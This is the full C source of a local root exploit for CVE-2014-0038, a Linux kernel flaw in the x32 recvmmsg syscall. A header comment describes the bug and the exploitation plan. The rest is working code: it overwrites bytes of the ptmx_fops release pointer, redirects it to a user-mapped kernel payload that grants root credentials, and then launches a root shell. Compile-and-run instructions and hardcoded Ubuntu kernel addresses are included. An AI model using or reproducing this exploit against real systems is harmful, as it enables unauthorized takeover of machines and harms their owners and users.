/*  * Local root exploit for CVE-2014-0038.  *  *  * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer  * passed from userspace.  *  * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,  * if the original byte at that address is known it can be overwritten  * with known data.  * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.  *  * Restrictions: The first long at the passed address (tv_sec) has to be positive  * and the second long (tv_nsec) has to be smaller than 1000000000.  *  * Overview: Target the release function pointer of the ptmx_fops structure located in  * non initialized (and thus writable) kernel memory. Zero out the three most  * significant bytes and thus turn it into a pointer to an address mappable in  * user space.  * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec  * is valid).  * Open /dev/ptmx, close it and enjoy.  *  * Not very beautiful but should be fairly reliable if symbols can be resolved.  *  * Tested on Ubuntu 13.10  *  * gcc timeoutpwn.c -o pwn && ./pwn  *  * Written by saelo  */#define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/mman.h>    #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)    #define BUFSIZE 200 #define PAYLOADSIZE 0x2000 #define FOPS_RELEASE_OFFSET 13*8    /*  * Adapt these addresses for your need.  * see /boot/System.map* or /proc/kallsyms  * These are the offsets from ubuntu 3.11.0-12-generic.  */#define PTMX_FOPS           0xffffffff81fb30c0LL #define TTY_RELEASE         0xffffffff8142fec0LL #define COMMIT_CREDS        0xffffffff8108ad40LL #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);    /*  * Match signature of int release(struct inode*, struct file*).  *  * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz  */int __attribute__((regparm(3))) kernel_payload(void* foo, void* bar) {     _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;     _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;        *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;    // restore pointer     commit_creds(prepare_kernel_cred(0));        return -1; }    /*  * Write a zero to the byte at then given address.  * Only works if the current value is 0xff.  */void zero_out(long addr) {     int sockfd, retval, port, pid, i;     struct sockaddr_in sa;     char buf[BUFSIZE];     struct mmsghdr msgs;     struct iovec iovecs;        srand(time(NULL));        port = 1024 + (rand() % (0x10000 - 1024));        sockfd = socket(AF_INET, SOCK_DGRAM, 0);     if (sockfd == -1) {         perror("socket()");         exit(EXIT_FAILURE);     }        sa.sin_family      = AF_INET;     sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);     sa.sin_port        = htons(port);     if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {         perror("bind()");         exit(EXIT_FAILURE);     }        memset(&msgs, 0, sizeof(msgs));     iovecs.iov_base         = buf;     iovecs.iov_len          = BUFSIZE;     msgs.msg_hdr.msg_iov    = &iovecs;     msgs.msg_hdr.msg_iovlen = 1;        /*      * start a seperate process to send a udp message after 255 seconds so the syscall returns,      * but not after updating the timout struct and writing the remaining time into it.      * 0xff - 255 seconds = 0x00      */    printf("clearing byte at 0x%lx\n", addr);     pid = fork();     if (pid == 0) {         memset(buf, 0x41, BUFSIZE);            if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {             perror("socket()");             exit(EXIT_FAILURE);         }            sa.sin_family      = AF_INET;         sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);         sa.sin_port        = htons(port);            printf("waiting 255 seconds...\n");         for (i = 0; i < 255; i++) {         if (i % 10 == 0)                 printf("%is/255s\n", i);         sleep(1);         }            printf("waking up parent...\n");         sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));         exit(EXIT_SUCCESS);     } else if (pid > 0) {         retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);         if (retval == -1) {             printf("address can't be written to, not a valid timespec struct\n");             exit(EXIT_FAILURE);         }         waitpid(pid, 0, 0);         printf("byte zeroed out\n");     } else {       perror("fork()");       exit(EXIT_FAILURE);     } }    int main(int argc, char** argv) {     long code, target;     int pwn;        /* Prepare payload... */    printf("preparing payload buffer...\n");     code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);     memset((void*)code, 0x90, PAYLOADSIZE);     code += PAYLOADSIZE - 1024;     memcpy((void*)code, &kernel_payload, 1024);        /*      * Now clear the three most significant bytes of the fops pointer      * to the release function.      * This will make it point into the memory region mapped above.      */    printf("changing kernel pointer to point into controlled buffer...\n");     target = PTMX_FOPS + FOPS_RELEASE_OFFSET;     zero_out(target + 7);     zero_out(target + 6);     zero_out(target + 5);        /* ... and trigger. */    printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");     pwn = open("/dev/ptmx", 'r');     close(pwn);        if (getuid() != 0) {         printf("failed to get root :(\n");         exit(EXIT_FAILURE);     }        printf("got root, enjoy :)\n");     return execl("/bin/bash", "-sh", NULL); }